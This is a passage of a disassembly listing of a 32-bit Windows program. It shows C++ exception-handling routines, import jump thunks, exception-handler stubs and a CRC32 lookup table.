"invalid string position" lea ecx, [ebp+var_38] call sub_40CDBA mov [ebp+var_4], 0 lea ecx, [ebp+var_38] push ecx lea ecx, [ebp+var_28] call sub_4356B0 push offset dword_4393F0 lea edx, [ebp+var_28] push edx call sub_435F60 mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn sub_435650 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4356B0 proc near ; CODE XREF: sub_435650+3Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] call sub_435530 mov ecx, [ebp+var_4] mov dword ptr [ecx], offset off_438FF0 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_4356B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4356E0 proc near ; CODE XREF: sub_435730+Ap ; DATA XREF: .nsp0:004393F4o var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov dword ptr [eax], offset off_438FF0 mov ecx, [ebp+var_4] call sub_435470 mov esp, ebp pop ebp retn sub_4356E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435700 proc near ; DATA XREF: .nsp0:00438FF8o var_20 = dword ptr -20h var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 20h mov [ebp+var_20], ecx mov eax, [ebp+var_20] push eax lea ecx, [ebp+var_1C] call sub_435760 push offset dword_4393F0 lea ecx, [ebp+var_1C] push ecx call sub_435F60 mov esp, ebp pop ebp retn sub_435700 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435730 proc near ; DATA XREF: .nsp0:off_438FF0o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] call sub_4356E0 mov eax, [ebp+arg_0] and eax, 1 test eax, eax jz short loc_435755 mov ecx, [ebp+var_4] push ecx call sub_41D860 add esp, 4 loc_435755: ; CODE XREF: sub_435730+17j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_435730 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435760 proc near ; CODE XREF: sub_435700+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] call sub_4353B0 mov ecx, [ebp+var_4] mov dword ptr [ecx], offset off_438FF0 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_435760 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435790 proc near ; DATA XREF: .nsp0:0043A014o push ebp mov ebp, esp call sub_40D359 call sub_4357B0 call sub_4357D0 call sub_435800 pop ebp retn sub_435790 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4357B0 proc near ; CODE XREF: sub_435790+8p push ebp mov ebp, esp push offset nullsub_1 call sub_41D9F0 add esp, 4 pop ebp retn sub_4357B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4357D0 proc near ; CODE XREF: sub_435790+Dp push ebp mov ebp, esp xor eax, eax mov al, byte_4F0FBC and eax, 1 test eax, eax jnz short loc_4357F0 mov cl, byte_4F0FBC or cl, 1 mov byte_4F0FBC, cl loc_4357F0: ; CODE XREF: sub_4357D0+Fj pop ebp retn sub_4357D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435800 proc near ; CODE XREF: sub_435790+12p push ebp mov ebp, esp push offset sub_435820 call sub_41D9F0 add esp, 4 pop ebp retn sub_435800 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435820 proc near ; DATA XREF: sub_435800+3o push ebp mov ebp, esp pop ebp retn sub_435820 endp ; --------------------------------------------------------------------------- align 2 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_435826 proc near ; CODE XREF: sub_40D46C+6Fp jmp dword_4F14C4 sub_435826 endp ; --------------------------------------------------------------------------- jmp dword_4F151C ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_435832 proc near ; CODE XREF: sub_40C736+5Ep ; sub_40E4A5+14Ap ... jmp dword_4F1518 sub_435832 endp ; --------------------------------------------------------------------------- jmp dword_4F1514 ; --------------------------------------------------------------------------- jmp dword_4F1510 ; --------------------------------------------------------------------------- jmp dword_4F150C ; --------------------------------------------------------------------------- jmp dword_4F1508 ; --------------------------------------------------------------------------- jmp dword_4F1504 ; --------------------------------------------------------------------------- jmp dword_4F1500 ; --------------------------------------------------------------------------- jmp dword_4F14FC ; --------------------------------------------------------------------------- jmp dword_4F14F8 ; --------------------------------------------------------------------------- jmp dword_4F1520 ; --------------------------------------------------------------------------- jmp dword_4F14F0 ; --------------------------------------------------------------------------- jmp dword_4F14EC ; --------------------------------------------------------------------------- jmp dword_4F14E8 ; --------------------------------------------------------------------------- jmp dword_4F14E4 ; --------------------------------------------------------------------------- jmp dword_4F14E0 ; --------------------------------------------------------------------------- jmp dword_4F14DC ; --------------------------------------------------------------------------- jmp dword_4F14D8 ; --------------------------------------------------------------------------- jmp dword_4F14D4 ; --------------------------------------------------------------------------- jmp dword_4F14D0 ; --------------------------------------------------------------------------- jmp dword_4F14CC ; --------------------------------------------------------------------------- jmp dword_4F14F4 ; --------------------------------------------------------------------------- jmp dword_4F1320 ; --------------------------------------------------------------------------- jmp dword_4F1324 ; --------------------------------------------------------------------------- jmp dword_4F1328 ; --------------------------------------------------------------------------- jmp dword_4F132C ; --------------------------------------------------------------------------- jmp dword_4F1330 ; --------------------------------------------------------------------------- jmp dword_4F1334 ; --------------------------------------------------------------------------- jmp dword_4F1338 ; --------------------------------------------------------------------------- jmp dword_4F133C ; --------------------------------------------------------------------------- jmp dword_4F1340 ; --------------------------------------------------------------------------- jmp dword_4F1344 ; --------------------------------------------------------------------------- jmp dword_4F1348 ; --------------------------------------------------------------------------- jmp dword_4F134C ; --------------------------------------------------------------------------- jmp dword_4F1350 ; --------------------------------------------------------------------------- jmp dword_4F1354 ; --------------------------------------------------------------------------- jmp dword_4F1358 ; --------------------------------------------------------------------------- jmp dword_4F135C ; --------------------------------------------------------------------------- jmp dword_4F1360 ; --------------------------------------------------------------------------- jmp dword_4F1364 ; --------------------------------------------------------------------------- jmp dword_4F1368 ; --------------------------------------------------------------------------- jmp dword_4F136C ; --------------------------------------------------------------------------- jmp dword_4F1370 ; --------------------------------------------------------------------------- jmp dword_4F1374 ; --------------------------------------------------------------------------- jmp dword_4F1378 ; --------------------------------------------------------------------------- jmp dword_4F137C ; --------------------------------------------------------------------------- jmp dword_4F1380 ; --------------------------------------------------------------------------- jmp dword_4F1384 ; --------------------------------------------------------------------------- jmp dword_4F1388 ; --------------------------------------------------------------------------- jmp dword_4F138C ; --------------------------------------------------------------------------- jmp dword_4F1390 ; --------------------------------------------------------------------------- jmp dword_4F1394 ; --------------------------------------------------------------------------- jmp dword_4F1398 ; --------------------------------------------------------------------------- jmp dword_4F139C ; --------------------------------------------------------------------------- jmp dword_4F13A0 ; --------------------------------------------------------------------------- jmp dword_4F13A4 ; --------------------------------------------------------------------------- jmp dword_4F13A8 ; --------------------------------------------------------------------------- jmp dword_4F13AC ; --------------------------------------------------------------------------- jmp dword_4F13B0 ; --------------------------------------------------------------------------- jmp dword_4F13B4 ; --------------------------------------------------------------------------- jmp dword_4F13B8 ; --------------------------------------------------------------------------- jmp dword_4F13BC ; --------------------------------------------------------------------------- jmp dword_4F13C0 ; --------------------------------------------------------------------------- jmp dword_4F13C4 ; --------------------------------------------------------------------------- jmp dword_4F13C8 ; --------------------------------------------------------------------------- jmp dword_4F13CC ; --------------------------------------------------------------------------- jmp dword_4F13D0 ; --------------------------------------------------------------------------- jmp dword_4F13D4 ; --------------------------------------------------------------------------- jmp dword_4F13D8 ; --------------------------------------------------------------------------- jmp dword_4F13DC ; --------------------------------------------------------------------------- jmp dword_4F13E0 ; --------------------------------------------------------------------------- jmp dword_4F13E4 ; --------------------------------------------------------------------------- jmp dword_4F13E8 ; --------------------------------------------------------------------------- jmp dword_4F13EC ; --------------------------------------------------------------------------- jmp dword_4F12BC ; --------------------------------------------------------------------------- jmp dword_4F13F0 ; --------------------------------------------------------------------------- jmp dword_4F13F4 ; --------------------------------------------------------------------------- jmp dword_4F13F8 ; --------------------------------------------------------------------------- jmp dword_4F13FC ; --------------------------------------------------------------------------- jmp dword_4F1400 ; --------------------------------------------------------------------------- jmp dword_4F1404 ; --------------------------------------------------------------------------- jmp dword_4F1408 ; --------------------------------------------------------------------------- jmp dword_4F140C ; --------------------------------------------------------------------------- jmp dword_4F1410 ; --------------------------------------------------------------------------- jmp dword_4F1414 ; --------------------------------------------------------------------------- jmp dword_4F1418 ; --------------------------------------------------------------------------- jmp dword_4F141C ; --------------------------------------------------------------------------- jmp dword_4F1420 ; --------------------------------------------------------------------------- jmp dword_4F1424 ; --------------------------------------------------------------------------- jmp dword_4F1428 ; --------------------------------------------------------------------------- jmp dword_4F142C ; --------------------------------------------------------------------------- jmp dword_4F1430 ; --------------------------------------------------------------------------- jmp dword_4F1434 ; --------------------------------------------------------------------------- jmp dword_4F1438 ; --------------------------------------------------------------------------- jmp dword_4F143C ; --------------------------------------------------------------------------- jmp dword_4F1440 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_435A6C proc near ; CODE XREF: sub_41D0A0+27p ; sub_41D410+13p jmp dword_4F1444 sub_435A6C endp ; --------------------------------------------------------------------------- jmp dword_4F1448 ; --------------------------------------------------------------------------- jmp dword_4F144C ; --------------------------------------------------------------------------- jmp dword_4F1450 ; --------------------------------------------------------------------------- jmp dword_4F1454 ; --------------------------------------------------------------------------- jmp dword_4F1458 ; --------------------------------------------------------------------------- jmp dword_4F145C ; --------------------------------------------------------------------------- jmp dword_4F1460 ; --------------------------------------------------------------------------- jmp dword_4F1464 ; --------------------------------------------------------------------------- jmp dword_4F1468 ; --------------------------------------------------------------------------- jmp dword_4F146C ; --------------------------------------------------------------------------- jmp dword_4F1470 ; --------------------------------------------------------------------------- jmp dword_4F1474 ; --------------------------------------------------------------------------- jmp dword_4F1478 ; --------------------------------------------------------------------------- jmp dword_4F147C ; --------------------------------------------------------------------------- jmp dword_4F1480 ; --------------------------------------------------------------------------- jmp dword_4F1484 ; --------------------------------------------------------------------------- jmp dword_4F1488 ; --------------------------------------------------------------------------- jmp dword_4F148C ; --------------------------------------------------------------------------- jmp dword_4F1490 ; --------------------------------------------------------------------------- jmp dword_4F1494 ; --------------------------------------------------------------------------- jmp dword_4F1498 ; --------------------------------------------------------------------------- jmp dword_4F149C ; --------------------------------------------------------------------------- jmp dword_4F14A0 ; --------------------------------------------------------------------------- jmp dword_4F14A4 ; --------------------------------------------------------------------------- jmp dword_4F14A8 ; --------------------------------------------------------------------------- jmp dword_4F14AC ; --------------------------------------------------------------------------- jmp dword_4F14B0 ; --------------------------------------------------------------------------- jmp dword_4F14B4 ; --------------------------------------------------------------------------- jmp dword_4F14B8 ; --------------------------------------------------------------------------- jmp dword_4F14BC ; --------------------------------------------------------------------------- jmp dword_4F131C ; --------------------------------------------------------------------------- jmp dword_4F1318 ; --------------------------------------------------------------------------- jmp dword_4F1314 ; --------------------------------------------------------------------------- jmp dword_4F1310 ; --------------------------------------------------------------------------- jmp dword_4F130C ; --------------------------------------------------------------------------- jmp dword_4F1308 ; --------------------------------------------------------------------------- jmp dword_4F1304 ; --------------------------------------------------------------------------- jmp dword_4F1300 ; --------------------------------------------------------------------------- jmp dword_4F12FC ; --------------------------------------------------------------------------- jmp dword_4F12F8 ; --------------------------------------------------------------------------- jmp dword_4F12F4 ; --------------------------------------------------------------------------- jmp dword_4F12F0 ; --------------------------------------------------------------------------- jmp dword_4F12EC ; --------------------------------------------------------------------------- jmp dword_4F12E8 ; --------------------------------------------------------------------------- jmp dword_4F12E4 ; --------------------------------------------------------------------------- jmp dword_4F12E0 ; --------------------------------------------------------------------------- jmp dword_4F12DC ; --------------------------------------------------------------------------- jmp dword_4F12D8 ; --------------------------------------------------------------------------- jmp dword_4F12D4 ; --------------------------------------------------------------------------- jmp dword_4F12D0 ; --------------------------------------------------------------------------- jmp dword_4F12CC ; --------------------------------------------------------------------------- jmp dword_4F12C8 ; --------------------------------------------------------------------------- jmp dword_4F12C4 ; --------------------------------------------------------------------------- jmp dword_4F12C0 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435BC0 proc near ; CODE XREF: sub_415C6E+21p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 jnz short loc_435BCE xor eax, eax jmp short loc_435C03 ; --------------------------------------------------------------------------- loc_435BCE: ; CODE XREF: sub_435BC0+8j mov eax, [ebp+arg_0] push eax call sub_418D00 add esp, 4 add eax, 1 push eax call sub_418ED0 add esp, 4 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_435C01 mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_4] push edx call sub_41C300 add esp, 8 jmp short loc_435C03 ; --------------------------------------------------------------------------- loc_435C01: ; CODE XREF: sub_435BC0+2Dj xor eax, eax loc_435C03: ; CODE XREF: sub_435BC0+Cj ; sub_435BC0+3Fj mov esp, ebp pop ebp retn sub_435BC0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov eax, [ebp-4] mov dword ptr [eax], offset off_439000 mov ecx, [ebp-4] mov dword ptr [ecx+4], 0 mov edx, [ebp-4] mov dword ptr [edx+8], 0 mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435C40 proc near ; DATA XREF: .nsp0:off_439000o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] call sub_435DA0 mov eax, [ebp+arg_0] and eax, 1 test eax, eax jz short loc_435C65 mov ecx, [ebp+var_4] push ecx call sub_41D860 add esp, 4 loc_435C65: ; CODE XREF: sub_435C40+17j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_435C40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435C70 proc near ; CODE XREF: sub_435530+2Cp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], ecx mov eax, [ebp+var_8] mov dword ptr [eax], offset off_439000 mov ecx, [ebp+arg_0] mov edx, [ecx] push edx call sub_418D00 add esp, 4 add eax, 1 push eax call sub_41D910 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_8] mov ecx, [ebp+var_4] mov [eax+4], ecx mov edx, [ebp+var_8] cmp dword ptr [edx+4], 0 jz short loc_435CC6 mov eax, [ebp+arg_0] mov ecx, [eax] push ecx mov edx, [ebp+var_8] mov eax, [edx+4] push eax call sub_41C300 add esp, 8 loc_435CC6: ; CODE XREF: sub_435C70+3Fj mov ecx, [ebp+var_8] mov dword ptr [ecx+8], 1 mov eax, [ebp+var_8] mov esp, ebp pop ebp retn 4 sub_435C70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435CE0 proc near ; CODE XREF: sub_4353B0+23p ; .nsp0:00435D8Ep var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], ecx mov eax, [ebp+var_8] mov dword ptr [eax], offset off_439000 mov ecx, [ebp+var_8] mov edx, [ebp+arg_0] mov eax, [edx+8] mov [ecx+8], eax mov ecx, [ebp+var_8] cmp dword ptr [ecx+8], 0 jz short loc_435D4F mov edx, [ebp+arg_0] mov eax, [edx+4] push eax call sub_418D00 add esp, 4 add eax, 1 push eax call sub_41D910 add esp, 4 mov [ebp+var_4], eax mov ecx, [ebp+var_8] mov edx, [ebp+var_4] mov [ecx+4], edx mov eax, [ebp+var_8] cmp dword ptr [eax+4], 0 jz short loc_435D4D mov ecx, [ebp+arg_0] mov edx, [ecx+4] push edx mov eax, [ebp+var_8] mov ecx, [eax+4] push ecx call sub_41C300 add esp, 8 loc_435D4D: ; CODE XREF: sub_435CE0+55j jmp short loc_435D5B ; --------------------------------------------------------------------------- loc_435D4F: ; CODE XREF: sub_435CE0+25j mov edx, [ebp+var_8] mov eax, [ebp+arg_0] mov ecx, [eax+4] mov [edx+4], ecx loc_435D5B: ; CODE XREF: sub_435CE0:loc_435D4Dj mov eax, [ebp+var_8] mov esp, ebp pop ebp retn 4 sub_435CE0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov eax, [ebp-4] cmp eax, [ebp+8] jz short loc_435D93 mov ecx, [ebp-4] call sub_435DA0 mov ecx, [ebp+8] push ecx mov ecx, [ebp-4] call sub_435CE0 loc_435D93: ; CODE XREF: .nsp0:00435D7Dj mov eax, [ebp-4] mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435DA0 proc near ; CODE XREF: sub_435470+41p ; sub_435C40+Ap ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], ecx mov eax, [ebp+var_8] mov dword ptr [eax], offset off_439000 mov ecx, [ebp+var_8] cmp dword ptr [ecx+8], 0 jz short loc_435DD0 mov edx, [ebp+var_8] mov eax, [edx+4] mov [ebp+var_4], eax mov ecx, [ebp+var_4] push ecx call sub_41D860 add esp, 4 loc_435DD0: ; CODE XREF: sub_435DA0+19j mov esp, ebp pop ebp retn sub_435DA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435DE0 proc near ; DATA XREF: .nsp0:00439004o var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] cmp dword ptr [eax+4], 0 jz short loc_435DF8 mov ecx, [ebp+var_4] mov eax, [ecx+4] jmp short loc_435DFD ; --------------------------------------------------------------------------- loc_435DF8: ; CODE XREF: sub_435DE0+Ej mov eax, offset aUnknownExcepti ; "Unknown exception" loc_435DFD: ; CODE XREF: sub_435DE0+16j mov esp, ebp pop ebp retn sub_435DE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435E10 proc near ; CODE XREF: sub_435E50+Ap var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov dword ptr [eax], offset off_439020 push 1Bh call sub_41FB40 add esp, 4 mov ecx, [ebp+var_4] cmp dword ptr [ecx+4], 0 jz short loc_435E42 mov edx, [ebp+var_4] mov eax, [edx+4] push eax call sub_41FFC0 add esp, 4 loc_435E42: ; CODE XREF: sub_435E10+21j push 1Bh call sub_41FBE0 add esp, 4 mov esp, ebp pop ebp retn sub_435E10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435E50 proc near ; DATA XREF: .nsp0:off_439020o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] call sub_435E10 mov eax, [ebp+arg_0] and eax, 1 test eax, eax jz short loc_435E75 mov ecx, [ebp+var_4] push ecx call sub_41D860 add esp, 4 loc_435E75: ; CODE XREF: sub_435E50+17j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_435E50 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov eax, [ebp-4] add eax, 9 push eax mov ecx, [ebp+8] add ecx, 9 push ecx call sub_41C4C0 add esp, 8 neg eax sbb eax, eax inc eax mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov eax, [ebp-4] add eax, 9 push eax mov ecx, [ebp+8] add ecx, 9 push ecx call sub_41C4C0 add esp, 8 neg eax sbb eax, eax neg eax mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov eax, [ebp-4] add eax, 9 push eax mov ecx, [ebp+8] add ecx, 9 push ecx call sub_41C4C0 add esp, 8 xor edx, edx test eax, eax setnle dl mov eax, edx mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov eax, [ebp-4] add eax, 8 mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov eax, [ebp-4] mov dword ptr [eax], offset off_439020 mov eax, [ebp-4] mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov eax, [ebp-4] mov esp, ebp pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435F60 proc near ; CODE XREF: sub_435350+48p ; sub_435440+1Ep ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push esi push edi mov ecx, 8 mov esi, offset dword_439028 lea edi, [ebp+var_20] rep movsd mov eax, [ebp+arg_0] mov [ebp+var_8], eax mov ecx, [ebp+arg_4] mov [ebp+var_4], ecx lea edx, [ebp+var_C] push edx mov eax, [ebp+var_10] push eax mov ecx, [ebp+var_1C] push ecx mov edx, [ebp+var_20] push edx call dword_4F14BC ; RaiseException pop edi pop esi mov esp, ebp pop ebp retn 8 sub_435F60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_435FB0 proc near ; DATA XREF: .nsp0:004391F4o lea ecx, [ebp-38h] jmp sub_40CDDD sub_435FB0 endp ; --------------------------------------------------------------------------- mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_435FCE mov ecx, [ebp+8] jmp sub_40CDDD ; --------------------------------------------------------------------------- locret_435FCE: ; CODE XREF: .nsp0:00435FC0j retn ; --------------------------------------------------------------------------- loc_435FCF: ; DATA XREF: sub_40C972o mov eax, offset dword_4391C8 jmp sub_41D100 ; --------------------------------------------------------------------------- lea ecx, [ebp+14h] jmp sub_40CDDD ; --------------------------------------------------------------------------- loc_435FE1: ; DATA XREF: .nsp0:00439224o lea ecx, [ebp-1Ch] jmp sub_40CDDD ; --------------------------------------------------------------------------- loc_435FE9: ; DATA XREF: sub_40CAE9o mov eax, offset dword_4391F8 jmp sub_41D100 ; --------------------------------------------------------------------------- align 4 loc_435FF4: ; DATA XREF: sub_40D21Ao mov eax, offset dword_439228 jmp sub_41D100 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-38h] call sub_40CDDD retn ; =============== S U B R O U T I N E ======================================= SEH_435350 proc near ; DATA XREF: sub_435350+5o mov eax, offset dword_439300 jmp sub_41D100 SEH_435350 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] call sub_435DA0 retn ; =============== S U B R O U T I N E ======================================= SEH_4353B0 proc near ; DATA XREF: sub_4353B0+5o mov eax, offset dword_439328 jmp sub_41D100 SEH_4353B0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] call sub_435DA0 retn ; =============== S U B R O U T I N E ======================================= SEH_435470 proc near ; DATA XREF: sub_435470+5o mov eax, offset dword_439370 jmp sub_41D100 SEH_435470 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-14h] call sub_435DA0 retn ; =============== S U B R O U T I N E ======================================= SEH_435530 proc near ; DATA XREF: sub_435530+5o mov eax, offset dword_439398 jmp sub_41D100 SEH_435530 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-38h] call sub_40CDDD retn ; =============== S U B R O U T I N E ======================================= SEH_435650 proc near ; DATA XREF: sub_435650+5o mov eax, offset dword_439400 jmp sub_41D100 SEH_435650 endp ; --------------------------------------------------------------------------- align 4 dd 3E2h dup(0) dword_43701C dd 0 ; DATA XREF: sub_401070+26r dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h 